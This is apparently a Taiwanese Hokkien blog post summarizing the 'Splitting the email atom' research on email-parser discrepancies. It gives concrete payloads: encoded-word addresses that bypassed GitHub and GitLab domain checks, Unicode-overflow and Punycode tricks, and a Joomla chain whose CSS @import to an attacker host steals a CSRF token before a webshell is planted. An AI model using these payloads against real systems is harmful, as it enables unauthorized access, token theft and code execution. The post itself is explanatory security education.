講著 email,咱攏想講欲揣 <...>@example.com
的 server 就是看 @
後壁遐,像頭前這自然是欲寄去 example.com
這台機器的批,天公地道,敢毋是? 毋過準若我共你講,這个觀念其實無的確是毋著的,甚至會當成做一个足大空的安全漏縫,恁敢信?
咱先來看一寡趣味的例:
"
)來共去頭前的 local part 包起來 escape
"@\""@example.com
(
佮 )
囥註解
(foo)user@(bar)example.com
恁佇我講進前,敢攏知影頂懸彼攏是合法的?
今仔日,咱就欲來共這篇 Splitting the email atom 說予恁聽,這篇研究發現 email parser 佇咧處理 email address 的時陣,會因為彼古魯碩古的 RFC 規格傷過複雜,致使講無仝的系統(譬論講網站的後端、MTA mail server)對仝一个 email address 可能會有無仝的「解說」。佇這中央咧解讀的精差,就是予駭客會當想空想縫,利用來做歹代的所在——輕者是夆踅過權限控制,重者甚至會夆得著 RCE!
作者伊拄開始咧做研究的時,閣猶未開始反 code,就去拄著一个足趣味的發現。佇某乜一个系統允准 email address 去用一寡特殊符號,伊靈感一下來,隨共規捾全部的特殊符號濫入去 email 內底,結果煞發現 mail server 的 log 噴一个主機名無效的錯誤出來。伊沓沓仔共符號一个一个刣掉,才知影是「!」咧作怪。
原來,佇 email 猶未出世進前,有一个號做 UUCP (Unix To Unix Copy) 的古早通訊協定,伊就是用驚嘆號來共主機佮使用者分開,而且順序閣拄仔好顛倒反。所以,像這款 email:
oastify.com!collab\@example.com
對 Sendmail 來講,伊會共 email 送起去 oastify.com
,毋是咱目睭看著的 example.com
! \
符號是為著欲共 @
跳脫掉,予 parser 會當繼續讀落去。
拄仔好閣有一个情形,另外一款 mail server - Postfix 嘛有相𫝛的問題,毋過伊用的字元是 %
:
collab%psres.net(@example.com
頂懸這逝實際上會走去 psres.net,毋是咱想的 example.com。這是用著一个號做 source routes 的規則。
Postfix 會先去處理 collab%psres.net
,先去共 %
換做 @
,閣共 email 送去 psres.net
。後壁彼段 (@example.com
就因為有括號,對 parser 來講是「註解」,煞直接共當做無看著。
恁看,才拄開始爾,咱誠四常的觀念就已經攏總予人捙跋反去矣!
好齣拄欲開始搬爾爾。除了頂面彼兩招,閣有兩个技術會當生出這款 parser 混亂。
有寡系統會共特殊字元閘掉,譬論講你袂當佇 email address 內底用兩个 @
。若按呢,Unicode overflow 凡勢就是你的好家私矣。簡單講,足濟程式語言佇咧共 Unicode 字元轉做 ASCII 的時,若 code point 超過 255,伊會做一个 modulo(提賰數)的運算——譬論講佇 PHP 的 chr()
就有這款特性。
這代表啥物意思咧?咱會當提一个咱看是完全無仝的 Unicode 字元,來產生一个咱想欲挃的 ASCII 字元。
// 0x100 (256) + 0x40 ('@' 的 hex)
// 經過 modulo 256 運算後會等於 0x40
String.fromCodePoint(0x100 + 0x40) // ŀ → @
String.fromCodePoint(0x1000 + 0x40) // ၀ → @
String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @
這招予咱會當共 @
、>
、<
這款關鍵字元過入去系統內底。
這會得算是這篇研究上鑠奅的發現。根據 RFC2047,email address 其實會當用一款號做 "encoded-word" 的格式來做編碼。 伊的格式看起來是親像按呢:
=?<charset>?<encoding>?<encoded-text>?=
charset
:e.g. UTF-8encoding
:q
代表 Q-Encoding(用 hex 表示),b
代表 Base64。encoded-text
:做編碼了後的內容咱來看下跤一个例:
=?utf-8?q?=41=42=43?=@example.com
這个 email address 佇支援 encoded-word 的 parser(特別是 Ruby on Rails 系統上捷用的 Mail
gem)處理了後,會夆變成:ABC@example.com
閣較驚人的是,這个編碼會當共 charset + encoding 鬥做伙兩个濫咧用,啥物意思咧?咱來看一个 UTF7+ base64 的例:
b Base64 encoded
↓ [----------------------]
=?utf-7?b?JkFHWUFid0J2QUdJQV1RQnkt?=@psres.net
↓
utf-7 encoded "foobar"
↓↓↓↓↓ [-----------------]
=?utf-7?b?&AGYAbwBvAGIAYQBy-?=@psres.net
↓
結果:foobar@psres.net
實在是誠趣味,咱若干焦看原本彼捾實在是看無彼是啥 XD
理論講了遐爾久,這馬咱來看這佇現實會當變出啥物齣頭。
GitHub:踅過 email 驗證,滲透內部網路
GitHub 的系統(用 Ruby 寫的)就食著 encoded-word 這招。攻擊者生一个歹的 email address:gareth.heyes@=?x?q?=40example.com=3e=00?=@github.com
咱來拆一下:
=?x?q?...?=
是 encoded-word 的格式。=40
會予解碼做 @
。=3e
會予解碼做 >
。=00
會予解碼做 NULL
byte。對 GitHub 的 application 來講,伊看著的網域是 @github.com
,驗證通過。 但是,email 咧欲寄出去的時,MTA (mail server) 看著的 RCPT TO
指令會變成:RCPT TO:<gareth.heyes@example.com>
後壁的 >@github.com
彼部份煞會因為 NULL
byte 的關係,予 mail server 落勾去。
結果,攻擊者就用 @github.com
的 email,成功驗證一个伊根本無權限的 @example.com
批桶。 若講這間公司用 email 網域來做 Cloudflare Zero Trust 這款內部系統的存取控制,代誌就大條矣。
GitLab:手法閣較幼路
GitLab 嘛有仝款的問題。 攻擊者發現用底線 _
佇 encoded-word 內底會當代換做空白,伊的 payload 看起來閣較優雅:support@=?x?q?=40example.com=3e_?=@gitlab.com
這个手法會當予攻擊者註冊一个受限制的 GitLab Enterprise instance,只要彼台 server 是用 email 網域來限制註冊資格就會當 bypass。
若你感覺頂面的例已經足恐怖矣,莫驚,閣有閣較譀的。這馬欲來講按怎用 email address 來做 RCE!
這擺的主角是 Punycode。Punycode 是為著欲予 DNS 系統會當處理像 münchen.com
這款非 ASCII 字元的網域名。 伊攏是用 xn--
開頭——咱做為漢字使用者,遐的漢字 domain 嘛攏會拄著這款情形,逐家應該是袂感覺生份。
研究者發現,PHP 一个舊版的 IDN library 佇咧處理「無合法的 Punycode」的時陣,會產生一寡意料之外的字元。
xn--0049
→ 會變做 ,
xn--0117
→ 會變做 @
xn--svg/-9x6
→ 會變做 <svg/
無錯,你目睭無花。咱會當用 Punycode 來產生 HTML tag!
Joomla 這个 CMS 就用著這个有問題的 library。 攻擊者就會當利用這个 bug,設計一个兩段式的攻擊:
注入 Style Tag
伊先註冊一个 user,email address 用惡意的 Punycode 組成,親像按呢:user@xn--style-321
當 Joomla 佇後台顯示這个 email 的時,伊會因為 Punycode 解碼的 bug,共 xn--style-321
變成一个 <style
tag,造成 style Injection。
用 CSS 偷 CSRF token
伊閣註冊第二个 user,佇 user 的name
欄位注一段 CSS payload,像 @import
一个外部的 CSS 檔案。x{}@import'https://attacker.com/evil.css';
這段 CSS 會利用 selector 的特性,共管理員瀏覽器內底的 CSRF token 偷出來。
CSRF to RCE
管理員若共後台的使用者列表頁面一下點開,CSS payload 就會走矣,CSRF token 就會送去予攻擊者。 攻擊者隨就會當用這个 token 生一个合法的請求,去共 Joomla 的 template 改掉,寫一个 PHP webshell 入去,落尾成功 RCE。
一个咱逐工咧用、看起來真簡單的 email address,背後煞藏了遮爾仔濟複雜閣危險的「鋩角」。咱做開發者、做資安人員,定定會因為「慣勢」就共根本的問題落勾去。咱永遠愛會記得,使用者送入來的任何資料攏是袂當相信的,當然——就算是 email address 嘛仝款!